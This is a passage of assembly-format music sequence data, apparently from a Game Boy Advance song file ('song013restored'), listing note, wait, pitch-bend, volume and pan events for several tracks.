N01 , Cn1 .byte W01 .byte BEND , c_v+1 .byte N01 , AsM1 .byte N01 , Dn1 .byte W01 .byte BEND , c_v+29 .byte N01 , CnM1 .byte W01 .byte BEND , c_v+20 .byte N01 , CsM1 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-3 .byte N01 , DsM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+37 .byte N01 , BnM2 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-2 .byte N01 , CsM1 .byte N01 , En0 .byte W01 .byte BEND , c_v+1 .byte N01 , DnM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-34 .byte N01 , GsM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+0 .byte N01 , CnM1 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-3 .byte N01 , AsM2 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+0 .byte N01 , DsM1 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-41 .byte W01 .byte c_v+0 .byte N01 , CsM1 .byte W01 .byte BEND , c_v-64 .byte N01 , Dn0 .byte W01 .byte BEND , c_v-18 .byte N01 , CsM1 .byte N02 , Fs0 .byte W01 .byte BEND , c_v+8 .byte W01 .byte c_v+2 .byte N01 , BnM2 .byte N01 , An0 .byte W01 .byte BEND , c_v+1 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+1 .byte N01 , GnM2 .byte N01 , BnM1 .byte W01 .byte BEND , c_v+55 .byte W01 .byte c_v-3 .byte N01 , AsM2 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+0 .byte N01 , AsM2 .byte N01 , En0 .byte W01 .byte BEND , c_v-1 .byte N01 , An0 .byte W01 .byte BEND , c_v-20 .byte N01 , EnM1 .byte N01 , An0 .byte W01 .byte BEND , c_v+1 .byte N01 , DsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+41 .byte N02 , DsM1 .byte W01 .byte BEND , c_v-35 .byte W01 .byte c_v-46 .byte N02 , Fn0 .byte W01 .byte BEND , c_v-56 .byte W01 .byte c_v-19 .byte N01 , EnM1 .byte W01 .byte BEND , c_v-9 .byte W01 .byte c_v-43 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N01 , AsM2 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-1 .byte N01 , GnM1 .byte N01 , An0 .byte W01 .byte BEND , c_v-1 .byte N01 , BnM2 .byte N01 , An0 .byte W01 .byte BEND , c_v+63 .byte N01 , GsM1 .byte W01 .byte BEND , c_v+2 .byte N01 , AnM2 .byte N01 , An0 .byte W01 .byte BEND , c_v+37 .byte N01 , CnM1 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-1 .byte N01 , FsM1 .byte N01 , As0 .byte W01 .byte BEND , c_v-25 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+22 .byte N01 , DnM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-42 .byte W01 .byte c_v+0 .byte N01 , FnM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-1 .byte N01 , FsM1 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+2 .byte N01 , GnM1 .byte N01 , An0 .byte W01 ; 005 ---------------------------------------- .byte BEND , c_v+29 .byte N01 , CnM1 .byte W01 .byte BEND , c_v-7 .byte W01 .byte c_v-34 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+0 .byte N01 , BnM2 .byte W01 .byte BEND , c_v+34 .byte N01 , En0 .byte W01 .byte BEND , c_v-60 .byte N01 , CsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N01 , EnM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v+1 .byte N01 , FsM1 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+30 .byte N01 , FnM1 .byte W01 .byte BEND , c_v+0 .byte N01 , AnM2 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+10 .byte N01 , AsM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-22 .byte N01 , AsM1 .byte W01 .byte BEND , c_v+63 .byte N01 , AnM2 .byte W01 .byte BEND , c_v+48 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+56 .byte W01 .byte c_v+16 .byte N01 , AnM1 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-64 .byte W01 .byte c_v+14 .byte N01 , GnM2 .byte N01 , AnM1 .byte W01 .byte BEND , c_v-14 .byte N01 , FnM1 .byte N01 , Gn0 .byte N01 , An0 .byte W76 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v+0 .byte W01 ; 006 ---------------------------------------- .byte VOICE , 8 .byte BENDR , 12 .byte 12 .byte BEND , c_v-14 .byte FINE ;**************** Track 6 (Midi-Chn.8) ****************; @song013restored_6: .byte KEYSH , song013restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 8 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+63 .byte VOL , 24*song013restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+63 .byte VOL , 24*song013restored_mvl/mxv .byte 0*song013restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+63 .byte VOL , 0*song013restored_mvl/mxv .byte BENDR , 12 .byte BEND , c_v+59 .byte N01 , An1 , v088 .byte N01 , Bn2 .byte W01 .byte BEND , c_v-17 .byte N03 , As2 .byte W01 .byte BEND , c_v-11 .byte W01 .byte c_v-16 .byte W01 .byte c_v+19 .byte N01 , AnM1 .byte N03 , Ds2 .byte W01 .byte BEND , c_v+14 .byte W01 .byte c_v+8 .byte W01 .byte c_v+0 .byte N01 , FsM1 .byte W01 .byte BEND , c_v+2 .byte N01 , AnM1 .byte N01 , En2 .byte W01 .byte BEND , c_v+0 .byte N01 , BnM1 .byte N01 , En2 .byte W01 .byte BEND , c_v+7 .byte N03 , Cs2 .byte W01 .byte BEND , c_v+12 .byte W01 .byte c_v+18 .byte W01 .byte c_v+0 .byte N01 , En0 .byte N01 , Fn2 .byte W01 .byte BEND , c_v-32 .byte N01 , Fn0 .byte N03 , Fs2 .byte W01 .byte BEND , c_v-29 .byte W01 .byte c_v-27 .byte W01 .byte c_v-24 .byte W01 .byte c_v-2 .byte N01 , En0 .byte N01 , Bn2 .byte W01 .byte BEND , c_v+1 .byte N01 , GsM2 .byte N01 , Bn1 .byte W01 .byte BEND , c_v+1 .byte N01 , EnM1 .byte N01 , As1 .byte W01 .byte BEND , c_v-2 .byte N01 , Dn0 .byte N01 , An2 .byte W01 .byte BEND , c_v-60 .byte N01 , Gs0 .byte N01 , En2 .byte W01 .byte BEND , c_v-3 .byte N01 , GnM1 .byte N01 , Cs1 .byte N01 , Fn2 .byte W01 .byte BEND , c_v+16 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+1 .byte N01 , Gn1 .byte N01 , Gs2 .byte W01 .byte BEND , c_v-36 .byte N01 .byte W01 .byte BEND , c_v-15 .byte N01 , AsM1 .byte N01 , Gn2 .byte W01 .byte BEND , c_v-3 .byte N01 , FsM1 .byte N01 , Gn2 .byte W01 .byte BEND , c_v-7 .byte N01 , En1 .byte N01 , En2 .byte W01 .byte BEND , c_v+0 .byte N01 , En1 .byte N01 , Gn2 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v-1 .byte N01 , Ds1 .byte N01 , Gn2 .byte W01 .byte BEND , c_v+23 .byte W01 .byte c_v+0 .byte N01 , Fn1 .byte N01 , Bn2 .byte W01 .byte BEND , c_v+1 .byte N01 , Gs0 .byte N01 , Cs1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Dn0 .byte N01 , An2 .byte W01 .byte BEND , c_v-2 .byte N01 , FnM1 .byte N01 , Fn2 .byte W01 .byte BEND , c_v+1 .byte N01 , AsM2 .byte N08 , Fn2 .byte W01 .byte BEND , c_v-23 .byte W01 .byte c_v-23 .byte W01 .byte c_v+0 .byte W01 .byte c_v+0 .byte W01 .byte c_v+6 .byte W01 .byte c_v+0 .byte W01 .byte c_v-5 .byte W01 .byte c_v+10 .byte W01 .byte c_v+0 .byte N01 , Ds1 .byte N01 , Gn2 .byte W01 .byte BEND , c_v+63 .byte N01 , En1 .byte W01 .byte BEND , c_v-1 .byte N01 , CsM1 .byte N01 , Ds2 .byte W01 .byte BEND , c_v-3 .byte N01 , FnM1 .byte N03 , En2 .byte W01 .byte BEND , c_v+2 .byte W01 .byte c_v+8 .byte W01 .byte c_v-1 .byte N01 , En1 .byte W01 .byte BEND , c_v+2 .byte N01 , FsM1 .byte N01 , Ds1 .byte N01 , Gn2 .byte W01 .byte BEND , c_v+6 .byte N01 , GsM1 .byte N01 , Gs2 .byte W01 .byte BEND , c_v+0 .byte N01 , CnM2 .byte N01 , EnM2 .byte N01 , An1 .byte N01 , As2 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v+63 .byte BEND , c_v+0 .byte N01 , As1 .byte N01 , Bn2 .byte W01 .byte BEND , c_v+2 .byte N01 , FnM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-1 .byte N01 , GsM1 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-1 .byte N01 , Bn0 .byte N01 , Fs2 .byte W01 .byte BEND , c_v+0 .byte N01 , As0 .byte N01 , As2 .byte W01 .byte BEND , c_v-53 .byte N01 , Dn1 .byte N01 , As2 .byte W01 .byte BEND , c_v+19 .byte N03 , Fs1 .byte W01 .byte BEND , c_v+36 .byte W01 .byte c_v+52 .byte W01 .byte c_v-23 .byte N03 , An2 .byte W01 .byte BEND , c_v-18 .byte W01 .byte c_v-27 .byte W01 .byte c_v+18 .byte N01 , AsM1 .byte N03 , Cs2 .byte W01 .byte BEND , c_v-34 .byte W01 .byte c_v-55 .byte W01 .byte c_v-3 .byte N01 , DsM1 .byte N01 , Cn1 .byte W01 .byte VOL , 24*song013restored_mvl/mxv .byte BEND , c_v+2 .byte N01 , Cn0 .byte N01 , Fs0 .byte N01 , Ds2 .byte W01 .byte BEND , c_v+1 .byte N01 , AsM1 .byte N01 , BnM1 .byte N01 , Ds2 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte N01 , Ds2 .byte N01 , Gs2 .byte W01 .byte BEND , c_v-1 .byte N01 , EnM2 .byte N01 , En2 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+1 .byte N01 , AnM1 .byte N04 , Dn2 .byte W01 .byte BEND , c_v+33 .byte W01 .byte c_v+27 .byte W01 .byte c_v+22 .byte W01 .byte c_v+0 .byte N01 , En0 .byte W01 .byte VOL , 31*song013restored_mvl/mxv .byte BEND , c_v+44 .byte N04 , Dn2 .byte W01 .byte BEND , c_v+45 .byte W01 .byte c_v+20 .byte W01 .byte c_v-5 .byte W01 .byte c_v+0 .byte N01 , En0 .byte N03 , Dn2 .byte W01 .byte BEND , c_v+4 .byte W01 .byte c_v+10 .byte W01 .byte c_v+16 .byte W01 .byte c_v+16 .byte N01 , Fs0 .byte N01 , Gs0 .byte N01 , Fs2 .byte W01 .byte BEND , c_v+20 .byte N04 , Gn2 .byte W01 .byte BEND , c_v+21 .byte W01 .byte c_v+14 .byte W01 .byte c_v+20 .byte W01 .byte c_v+1 .byte N01 , BnM2 .byte W01 ; 001 ---------------------------------------- .byte BEND , c_v+48 .byte N01 , AsM1 .byte N01 , Cn0 .byte N01 , Dn1 .byte W01 .byte BEND , c_v-26 .byte N01 , BnM1 .byte N01 , Ds1 .byte W01 .byte BEND , c_v+19 .byte N01 , En1 .byte W01 .byte BEND , c_v-13 .byte N01 , Gn1 .byte N01 , Gs2 .byte W01 .byte BEND , c_v+0 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte BEND , c_v+25 .byte N01 , Fs1 .byte N01 , Gs2 .byte W01 .byte BEND , c_v-41 .byte N01 .byte W01 .byte BEND , c_v-15 .byte N01 , AsM2 .byte N01 , Fs2 .byte W01 .byte BEND , c_v-21 .byte N01 , DsM2 .byte N01 , Fs2 .byte W01 .byte BEND , c_v-16 .byte N01 , Dn1 .byte N01 , Fn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs1 .byte N01 , Dn1 .byte N01 , Ds2 .byte W01 .byte BEND , c_v+1 .byte N01 , Cn1 .byte N01 , Fs2 .byte W01 .byte BEND , c_v-3 .byte N01 , Cn1 .byte N01 , Fs2 .byte W01 .byte BEND , c_v+2 .byte N01 , Dn1 .byte N01 , Fs2 .byte W01 .byte BEND , c_v+0 .byte N01 , As0 .byte N01 , Fn2 .byte W01 .byte BEND , c_v+1 .byte N01 , En0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-27 .byte N01 , GsM1 .byte N01 , Cs2 .byte N01 , As2 .byte W01 .byte BEND , c_v-29 .byte N01 , FsM1 .byte N04 , As2 .byte W01 .byte BEND , c_v-30 .byte W01 .byte c_v-5 .byte W01 .byte c_v-11 .byte W01 .byte c_v-16 .byte W01 .byte c_v+54 .byte N01 , Cs1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+1 .byte N01 , BnM2 .byte W01 .byte BEND , c_v+18 .byte N05 , En2 .byte W01 .byte BEND , c_v+19 .byte W01 .byte c_v-14 .byte W01 .byte VOL , 44*song013restored_mvl/mxv .byte BEND , c_v-16 .byte W01 .byte c_v-11 .byte W01 .byte c_v-5 .byte N01 , DnM1 .byte N01 , En2 .byte W01 .byte BEND , c_v+1 .byte N01 , DsM2 .byte N01 , Gs1 .byte W01 .byte BEND , c_v-1 .byte N01 , GsM1 .byte N01 , Gs2 .byte W01 .byte BEND , c_v+1 .byte N01 , CnM2 .byte N01 , EnM2 .byte N02 , An1 .byte N01 , Fs2 .byte W01 .byte BEND , c_v+63 .byte W01 .byte c_v-1 .byte N01 , Dn0 .byte N02 , An2 .byte W01 .byte BEND , c_v+4 .byte W01 .byte c_v-18 .byte W01 .byte c_v+1 .byte N01 , GsM2 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+1 .byte N01 , EnM1 .byte N01 , Gs0 .byte N01 , An0 .byte W01 .byte BEND , c_v-26 .byte N01 , Dn0 .byte N01 , Cs2 .byte N01 , Fn2 .byte W01 .byte BEND , c_v+46 .byte N01 , Fn0 .byte N01 , Gs0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-54 .byte N03 , Dn2 .byte W01 .byte BEND , c_v-34 .byte W01 .byte c_v-17 .byte W01 .byte c_v-13 .byte N01 , Cs0 .byte N04 , En2 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+25 .byte W01 .byte c_v+25 .byte W01 .byte c_v-2 .byte N01 , DsM1 .byte W01 .byte BEND , c_v+2 .byte N01 , Cn0 .byte N02 , Gs1 .byte N01 , Bn1 .byte W01 .byte BEND , c_v-17 .byte W01 .byte c_v+0 .byte N01 , DnM1 .byte W01 .byte BEND , c_v-2 .byte N01 , DsM1 .byte N01 , Gs0 .byte N01 , Ds2 .byte N01 , En2 .byte W01 .byte BEND , c_v-32 .byte N01 , AsM2 .byte N01 , Dn0 .byte N01 , Gs2 .byte W01 .byte BEND , c_v+2 .byte N01 , FnM1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+16 .byte N01 , EnM2 .byte N01 , AsM2 .byte N02 , En2 .byte W01 .byte BEND , c_v+34 .byte W01 .byte c_v+28 .byte W01 .byte c_v-34 .byte N01 , Ds0 .byte N02 , Fn2 .byte W01 .byte BEND , c_v-31 .byte W01 .byte c_v+0 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+2 .byte N02 , Fn2 .byte W01 .byte BEND , c_v-23 .byte W01 .byte c_v+1 .byte N01 , An0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-27 .byte N01 , As0 .byte N02 , Fs2 .byte W01 .byte BEND , c_v-26 .byte W01 .byte c_v-45 .byte W01 .byte c_v-18 .byte N01 , Cs1 .byte N01 , Gn2 .byte W01 .byte BEND , c_v+1 .byte N01 , BnM2 .byte W01 .byte BEND , c_v+0 .byte N01 , GsM1 .byte N01 , Ds1 .byte N01 , Fn2 .byte W01 .byte BEND , c_v+1 .byte N01 , Gn2 .byte W01 .byte BEND , c_v+1 .byte N01 , CsM1 .byte W24 .byte W01 ; 002 ---------------------------------------- .byte W09 .byte VOL , 74*song013restored_mvl/mxv .byte PAN , c_v+26 .byte BEND , c_v+58 .byte N04 , Cn1 .byte W01 .byte VOL , 72*song013restored_mvl/mxv .byte PAN , c_v+21 .byte BEND , c_v-58 .byte W01 .byte c_v+3 .byte W01 .byte c_v-4 .byte W01 .byte VOL , 65*song013restored_mvl/mxv .byte PAN , c_v+25 .byte BEND , c_v-17 .byte W01 .byte c_v-3 .byte N01 , Cn0 .byte N02 , Ds1 .byte W01 .byte BEND , c_v-39 .byte W01 .byte c_v+1 .byte N01 , CnM1 .byte N01 , Dn2 .byte W01 .byte VOL , 61*song013restored_mvl/mxv .byte PAN , c_v+23 .byte BEND , c_v-17 .byte N03 , Gn0 .byte W01 .byte BEND , c_v+23 .byte W01 .byte c_v+16 .byte W01 .byte c_v-39 .byte N01 , Gn1 .byte W01 .byte VOL , 54*song013restored_mvl/mxv .byte PAN , c_v+30 .byte BEND , c_v+0 .byte N01 , Fn0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-30 .byte N01 , Fn0 .byte W01 .byte BEND , c_v+18 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+44 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-56 .byte N01 , Gn1 .byte W01 .byte VOL , 50*song013restored_mvl/mxv .byte PAN , c_v+21 .byte BEND , c_v+0 .byte N01 , Ds0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte N01 , En0 .byte W01 .byte BEND , c_v+0 .byte N01 , As1 .byte W01 .byte BEND , c_v-25 .byte N01 , Fn0 .byte W01 .byte VOL , 39*song013restored_mvl/mxv .byte PAN , c_v+32 .byte BEND , c_v-33 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+45 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-3 .byte N01 , Fn0 .byte N01 , An1 .byte W01 .byte BEND , c_v+0 .byte N01 , Gs1 .byte W01 .byte BEND , c_v-38 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-1 .byte N01 , BnM2 .byte N01 , As1 .byte N01 , Dn2 .byte W01 .byte VOL , 31*song013restored_mvl/mxv .byte PAN , c_v+27 .byte BEND , c_v+0 .byte N01 , Bn0 .byte W01 .byte BEND , c_v+0 .byte N01 , FsM1 .byte N01 , Cn1 .byte N01 , Ds2 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v+0 .byte N01 , GsM2 .byte N01 , Cs1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-1 .byte N01 , Cn0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-44 .byte N01 , Gn0 .byte W01 .byte VOL , 10*song013restored_mvl/mxv .byte PAN , c_v+63 .byte BEND , c_v-1 .byte N01 , Cn2 .byte W01 .byte BEND , c_v-56 .byte N01 , An0 .byte W01 .byte BEND , c_v+5 .byte N01 , As1 .byte W01 .byte BEND , c_v-13 .byte N01 , Ds0 .byte W01 .byte BEND , c_v+1 .byte N01 , Gs0 .byte N01 , An1 .byte W01 .byte BEND , c_v+63 .byte W01 .byte c_v-13 .byte N01 , Ds0 .byte N01 , Bn1 .byte W01 .byte BEND , c_v-29 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+0 .byte N01 , En0 .byte W01 .byte VOL , 0*song013restored_mvl/mxv .byte PAN , c_v-64 .byte BEND , c_v-41 .byte N01 , FnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-3 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-47 .byte N01 , FnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-2 .byte N01 , Fn0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-22 .byte N01 , Fs0 .byte N01 , Gs1 .byte W01 .byte BEND , c_v+31 .byte N01 , Dn0 .byte W01 .byte BEND , c_v-39 .byte N01 , As1 .byte W01 .byte BEND , c_v+49 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-57 .byte N01 , Cn2 .byte W01 .byte BEND , c_v-35 .byte N01 , CnM1 .byte N01 , Dn0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-17 .byte W01 .byte c_v+2 .byte N02 , Cs1 .byte W01 .byte BEND , c_v-3 .byte W01 .byte c_v+60 .byte N02 , Cn0 .byte W01 .byte BEND , c_v+63 .byte W01 .byte c_v+0 .byte N23 , Cn1 .byte W01 .byte BEND , c_v-64 .byte W01 .byte c_v+5 .byte W01 .byte c_v-55 .byte W01 .byte c_v-20 .byte W01 .byte c_v-1 .byte W01 .byte c_v-26 .byte W01 .byte c_v+22 .byte W01 .byte c_v-58 .byte W01 .byte c_v+28 .byte W01 .byte c_v+16 .byte W01 .byte c_v-8 .byte W01 .byte c_v+39 .byte W01 .byte c_v-48 .byte W01 .byte c_v+44 .byte W01 .byte c_v-55 .byte W01 .byte c_v+35 .byte W01 .byte c_v-59 .byte W01 .byte c_v-17 .byte W01 .byte c_v-64 .byte W01 .byte c_v-31 .byte W01 .byte c_v+63 .byte W01 .byte c_v-64 .byte W01 .byte c_v-64 .byte N01 , Cn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Ds0 .byte W01 .byte BEND , c_v+0 .byte N01 , En0 .byte N01 , As1 .byte W01 .byte BEND , c_v-1 .byte N01 , Fn1 .byte W01 .byte BEND , c_v-2 .byte N01 , CnM1 .byte N01 , Dn0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-1 .byte N01 , Gn1 .byte W01 ; 003 ---------------------------------------- .byte BEND , c_v+0 .byte N01 , BnM2 .byte N01 , Ds0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+42 .byte N01 , Fs1 .byte W01 .byte BEND , c_v-2 .byte N01 , Cs0 .byte N01 , Gs1 .byte W01 .byte BEND , c_v+0 .byte N01 , Fs0 .byte W01 .byte BEND , c_v+1 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-2 .byte N01 , En0 .byte W01 .byte BEND , c_v-21 .byte N01 , FnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-23 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-27 .byte N01 , CnM1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Dn0 .byte W01 .byte BEND , c_v-26 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+2 .byte N01 , DnM1 .byte N01 , Cs0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-3 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-19 .byte N01 , As1 .byte W01 .byte BEND , c_v-17 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-8 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte N01 , Fs0 .byte W01 .byte BEND , c_v-2 .byte N01 , Ds0 .byte N01 , Bn1 .byte W01 .byte BEND , c_v-1 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-42 .byte N01 , Gs0 .byte N01 , Bn1 .byte W01 .byte BEND , c_v-2 .byte N01 , An0 .byte W01 .byte BEND , c_v-64 .byte N01 , FnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+59 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+9 .byte N01 , An0 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs0 .byte N01 , Bn1 .byte W01 .byte BEND , c_v-23 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+8 .byte N01 , Bn0 .byte W01 .byte BEND , c_v-63 .byte N01 , FnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+19 .byte N01 , As0 .byte W01 .byte BEND , c_v+0 .byte N01 , CnM1 .byte N01 , An0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-1 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-11 .byte N01 , Gs0 .byte W01 .byte BEND , c_v-1 .byte N01 , DnM1 .byte N10 , An0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-26 .byte W01 .byte c_v+7 .byte W01 .byte c_v+48 .byte W01 .byte c_v-22 .byte W01 .byte c_v+54 .byte W01 .byte c_v-49 .byte W01 .byte c_v+10 .byte W01 .byte c_v+25 .byte W01 .byte c_v-38 .byte W01 .byte c_v+39 .byte W01 .byte c_v-32 .byte N01 , Gn0 .byte N01 , An1 .byte W01 .byte BEND , c_v+0 .byte N01 , As1 .byte W01 .byte BEND , c_v+26 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-3 .byte N01 , Fs0 .byte N01 , Gs1 .byte W01 .byte BEND , c_v-3 .byte N02 , Gn1 .byte W01 .byte BEND , c_v-64 .byte W01 .byte c_v+0 .byte W01 .byte c_v+22 .byte N01 , Cn0 .byte N01 , An1 .byte W01 .byte BEND , c_v+0 .byte N01 , Cs0 .byte W01 .byte BEND , c_v-2 .byte N01 , BnM2 .byte N01 , Cs1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+2 .byte N01 , FsM1 .byte N01 , Ds0 .byte N01 , Ds2 .byte W01 .byte BEND , c_v-2 .byte N01 , GsM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn1 .byte W01 .byte BEND , c_v-1 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-2 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-7 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-2 .byte N01 , En0 .byte N01 , Cn2 .byte W01 .byte BEND , c_v-1 .byte N01 , An0 .byte W01 .byte BEND , c_v+0 .byte N01 , Cn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-5 .byte N01 , As1 .byte W01 .byte BEND , c_v+8 .byte N01 , Cs0 .byte W01 .byte BEND , c_v-17 .byte N01 , Bn1 .byte W01 .byte BEND , c_v+14 .byte N01 , Cs0 .byte W01 .byte BEND , c_v-35 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+0 .byte N01 , FnM2 .byte N01 , Fn0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+18 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+4 .byte N01 , Bn1 .byte W01 .byte BEND , c_v+13 .byte N01 , En0 .byte W01 .byte BEND , c_v-52 .byte N01 , Cs2 .byte W01 .byte BEND , c_v+44 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-45 .byte N01 , Bn1 .byte W01 .byte BEND , c_v-3 .byte N01 , GsM2 .byte N01 , Fn0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-2 .byte N01 , Cn0 .byte W01 .byte BEND , c_v-63 .byte N01 , GsM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v-17 .byte N01 , Cs1 .byte W01 .byte BEND , c_v-3 .byte N01 , DsM1 .byte N01 , Cs1 .byte N01 , Ds2 .byte W01 .byte BEND , c_v+59 .byte N01 , Cs0 .byte W01 .byte BEND , c_v+1 .byte N01 , Cn0 .byte N01 , Fs1 .byte W01 .byte BEND , c_v+0 .byte N04 , Cn1 .byte W01 .byte BEND , c_v-20 .byte W01 .byte c_v-11 .byte W01 .byte c_v-8 .byte W01 .byte c_v-20 .byte W01 .byte c_v-1 .byte N01 , Cn0 .byte N09 , Ds1 .byte W01 .byte BEND , c_v-62 .byte W01 .byte c_v+4 .byte W01 .byte c_v-50 .byte W01 .byte c_v-53 .byte W01 .byte c_v+16 .byte W01 ; 004 ---------------------------------------- .byte c_v-60 .byte W01 .byte c_v+22 .byte W01 .byte c_v-64 .byte W01 .byte c_v+6 .byte W01 .byte c_v-2 .byte N01 , Ds0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v-30 .byte W01 .byte c_v-1 .byte N01 , Ds0 .byte N01 , An1 .byte W01 .byte BEND , c_v-41 .byte N01 , Gs0 .byte W01 .byte BEND , c_v+2 .byte N01 , As1 .byte W01 .byte BEND , c_v-16 .byte N01 , Ds0 .byte W01 .byte BEND , c_v-51 .byte N01 , Bn1 .byte W01 .byte BEND , c_v-41 .byte N01 , Gn0 .byte W01 .byte BEND , c_v-43 .byte N01 , An0 .byte N01 , Cn2 .byte W01 .byte BEND , c_v+1 .byte N01 , Cs2 .byte W01 .byte BEND , c_v-44 .byte N01 , Gn0 .byte W01 .byte BEND , c_v+0 .byte N01 , An1 .byte W01 .byte BEND , c_v+0 .byte N01 , CnM1 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+1 .byte N01 , BnM2 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+0 .byte N01 , Dn0 .byte W01 .byte BEND , c_v+1 .byte N01 , Cn0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v-2 .byte N01 , An1 .byte W01 .byte BEND , c_v+1 .byte N01 , FnM2 .byte N01 , Cn0 .byte N01 , Dn2 .byte W01 .byte BEND , c_v+46 .byte N01 , En1 .byte W01 .byte BEND , c_v+1 .byte N01 , Cn0 .byte W01 .byte BEND , c_v+8 .byte N01 , An1 .byte W01 .byte BEND , c_v-3 .byte N01 , En0 .byte N01 , Fn1 .byte W01 .byte BEND , c_v+26 .byte W01 .byte c_v+31 .byte N01 , Dn0 .byte N01 , Gn1 .byte W01 .byte BEND , c_v+0 .byte W01 .byte c_v-3 .byte N01 , Ds0 .byte N01 , Gs1 .byte W01 .byte BEND , c_v-5 .byte N01 , Fn0 .byte W01 .byte BEND , c_v-49 